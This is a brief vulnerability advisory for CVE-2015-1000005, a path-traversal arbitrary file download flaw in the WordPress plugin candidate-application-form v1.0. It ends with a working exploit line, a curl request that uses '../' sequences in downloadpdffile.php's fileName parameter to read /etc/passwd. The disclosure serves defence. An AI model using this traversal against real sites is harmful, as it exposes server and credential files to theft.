Arbitrary file download vulnerability in candidate-application-form v1.0 wordpress plugin
CVE ID(s):
CVE-2015-1000005
Notified: 2015-07-12
Description:
This plugin allows you to easily add a candidate application form to a job vacancy post, which allows the candidate to apply for the vacancy.
Exploit:
$ curl http://www.example.com/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd